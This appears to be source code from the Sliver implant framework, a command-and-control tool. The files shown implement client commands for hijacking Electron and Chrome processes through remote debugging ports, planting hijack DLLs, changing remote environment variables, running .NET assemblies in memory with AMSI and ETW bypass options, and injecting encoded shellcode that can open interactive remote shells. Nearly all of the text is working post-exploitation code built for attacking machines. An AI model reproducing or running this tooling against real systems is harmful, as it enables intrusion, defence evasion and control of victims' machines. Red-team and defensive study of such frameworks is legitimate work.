con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
})
if err != nil {
return false, err
}
return ls.GetExists(), nil
}
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
return process, nil
}
}
return nil, nil
}
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := getRemoteDebuggerPort(ctx)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: electronExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: electronExe,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+75
View File
@@ -0,0 +1,75 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
kill := ctx.Flags.Bool("kill")
bindPort := ctx.Args.Int("bind-port")
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill {
confirm := false
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s", err)
return
}
if !confirm {
con.PrintErrorf("User cancel\n")
return
}
// Get cursed process
var cursedProc *core.CursedProcess
curses := core.CursedProcessBySessionID(session.ID)
for _, curse := range curses {
if curse.BindTCPPort == bindPort {
cursedProc = curse
}
}
if cursedProc == nil {
con.PrintErrorf("Failed to find cursed process\n")
return
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: int32(cursedProc.PID),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return
}
}
}
@@ -0,0 +1,69 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
quality := ctx.Flags.Int64("quality")
if quality < 1 || quality > 100 {
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
return
}
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
if err != nil {
con.PrintErrorf("Failed to take screenshot: %s\n", err)
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
}
err = ioutil.WriteFile(saveFile, data, 0644)
if err != nil {
con.PrintErrorf("Failed to save screenshot: %s\n", err)
return
}
con.PrintInfof("Screenshot saved to %s\n", saveFile)
}
+121
View File
@@ -0,0 +1,121 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Collect existing curses from core
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
cursedProcesses = append(cursedProcesses, []string{
fmt.Sprintf("%d", curse.BindTCPPort),
strings.Split(curse.SessionID, "-")[0],
fmt.Sprintf("%d", curse.PID),
curse.Platform,
curse.ExePath,
curse.DebugURL().String(),
})
return true
})
// Display table if we have 1 or more curses
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
})
for _, rowEntries := range cursedProcesses {
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
} else {
con.PrintInfof("No cursed processes\n")
}
}
// selectCursedProcess - Interactively select a cursed process from a list
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
return true
})
if len(cursedProcesses) < 1 {
con.PrintErrorf("No cursed processes\n")
return nil
}
port2process := map[int]*core.CursedProcess{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, cursedProcess := range cursedProcesses {
fmt.Fprintf(table, "%d\t%s\t%s\n",
cursedProcess.BindTCPPort,
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
cursedProcess.ExePath)
port2process[cursedProcess.BindTCPPort] = cursedProcess
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a curse:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
func getRemoteDebuggerPort(ctx *grumble.Context) int {
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
if port == 0 {
port = insecureRand.Intn(30000) + 10000
}
return port
}
+4
View File
@@ -0,0 +1,4 @@
DLL Hijack
===========
Implements command related to `dllhijack`.
+97
View File
@@ -0,0 +1,97 @@
package dllhijack
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
// DllHijackCmd -- implements the dllhijack command
func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
localRefData []byte
targetDLLData []byte
err error
)
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
targetPath := ctx.Args.String("target-path")
referencePath := ctx.Flags.String("reference-path")
localFile := ctx.Flags.String("file")
profileName := ctx.Flags.String("profile")
localReferenceFilePath := ctx.Flags.String("reference-file")
if referencePath == "" {
con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
return
}
if localReferenceFilePath != "" {
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
if err != nil {
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
return
}
}
if localFile != "" {
if profileName != "" {
con.PrintErrorf("please use either --profile or --File")
return
}
targetDLLData, err = ioutil.ReadFile(localFile)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
ReferenceDLLPath: referencePath,
TargetLocation: targetPath,
ReferenceDLL: localRefData,
TargetDLL: targetDLLData,
Request: con.ActiveTarget.Request(ctx),
ProfileName: profileName,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
con.PrintInfof("DLL uploaded to %s\n", targetPath)
}
+4
View File
@@ -0,0 +1,4 @@
Environment
===========
Contains command implementations for manipulating remote environment variables.
+71
View File
@@ -0,0 +1,71 @@
package environment
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvGetCmd - Get a remote environment variable
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := ctx.Args.String("name")
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
Name: name,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintGetEnvInfo(envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintGetEnvInfo(envInfo, con)
}
}
// PrintGetEnvInfo - Print the results of the env get command
func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
for _, envVar := range envInfo.Variables {
con.Printf("%s=%s\n", envVar.Key, envVar.Value)
}
}
+80
View File
@@ -0,0 +1,80 @@
package environment
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvSetCmd - Set a remote environment variable
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := ctx.Args.String("name")
value := ctx.Args.String("value")
if name == "" || value == "" {
con.PrintErrorf("Usage: setenv KEY VALUE\n")
return
}
envInfo, err := con.Rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
Variable: &commonpb.EnvVar{
Key: name,
Value: value,
},
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSetEnvInfo(name, value, envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintSetEnvInfo(name, value, envInfo, con)
}
}
// PrintSetEnvInfo - Print the set environment info
func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
con.PrintInfof("Set %s to %s\n", name, value)
}
+76
View File
@@ -0,0 +1,76 @@
package environment
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvUnsetCmd - Unset a remote environment variable
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Usage: setenv NAME\n")
return
}
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
Name: name,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if unsetResp.Response != nil && unsetResp.Response.Async {
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, unsetResp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUnsetEnvInfo(name, unsetResp, con)
})
con.PrintAsyncResponse(unsetResp.Response)
} else {
PrintUnsetEnvInfo(name, unsetResp, con)
}
}
// PrintUnsetEnvInfo - Print the set environment info
func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
con.PrintInfof("Successfully unset %s\n", name)
}
+4
View File
@@ -0,0 +1,4 @@
Exec
====
Implements execution related commands like `execute`, `execute-shellcode`, `execute-assembly`, etc.
+136
View File
@@ -0,0 +1,136 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
assemblyPath := ctx.Args.String("filepath")
isDLL := false
if filepath.Ext(assemblyPath) == ".dll" {
isDLL = true
}
if isDLL {
if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
return
}
}
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
runtime := ctx.Flags.String("runtime")
etwBypass := ctx.Flags.Bool("etw-bypass")
amsiBypass := ctx.Flags.Bool("amsi-bypass")
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
if len(assemblyArgsStr) > 256 {
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
InProcess: ctx.Flags.Bool("in-process"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
return
}
hostName := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
}
}
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
}
}
+233
View File
@@ -0,0 +1,233 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"context"
"fmt"
"io"
"io/ioutil"
"log"
"os"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
rwxPages := ctx.Flags.Bool("rwx-pages")
interactive := ctx.Flags.Bool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
return
}
pid := ctx.Flags.Uint("pid")
shellcodePath := ctx.Args.String("filepath")
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
if pid != 0 && interactive {
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
return
}
arch := ctx.Flags.String("architecture")
if arch != "386" && arch != "amd64" {
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
return
}
iter := ctx.Flags.Int("iterations")
con.PrintInfof("Encoding shellcode ...\n")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iter),
BadChars: []byte{},
Data: shellcodeBin,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
oldSize := len(shellcodeBin)
shellcodeBin = resp.GetData()
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
}
if interactive {
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
return
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: rwxPages,
Pid: uint32(pid),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, shellcodeTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteShellcode(shellcodeTask, con)
})
con.PrintAsyncResponse(shellcodeTask.Response)
} else {
PrintExecuteShellcode(shellcodeTask, con)
}
}
// PrintExecuteShellcode - Display result of shellcode execution
func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
if task.Response.GetErr() != "" {
con.PrintErrorf("%s\n", task.Response.GetErr())
} else {
con.PrintInfof("Executed shellcode on target\n")
}
}
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
// Check active session
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
// Start remote process and tunnel
noPty := false
if session.GetOS() == "windows" {
noPty = true // Windows of course doesn't have PTYs
}
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
Path: hostProc,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Retrieve PID and start remote task
pid := shell.GetPid()
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Request: con.ActiveTarget.Request(ctx),
Pid: pid,
Data: shellcode,
RWXPages: rwxPages,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *term.State
if !noPty {
oldState, err = term.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
return
}
}
log.Printf("Starting stdin/stdout shell ...")
go func() {
n, err := io.Copy(os.Stdout, tunnel)
log.Printf("Wrote %d bytes to stdout", n)
if err != nil {
con.PrintErrorf("Error writing to stdout: %v", err)
return
}
}()
for {
log.Printf("Reading from stdin ...")
n, err := io.Copy(tunnel, os.Stdin)
log.Printf("Read %d bytes from stdin", n)
if err == io.EOF {
break
}
if err != nil {
con.PrintErrorf("Error reading from stdin: %v", err)
break
}
}
if !noPty {
log.Printf("Restoring terminal state ...")
term.Restore(0, oldState)
}
log.Printf("Exit interactive")
bufio.NewWriter(os.Stdout).Flush()
}
+256
View File
@@ -0,0 +1,256 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
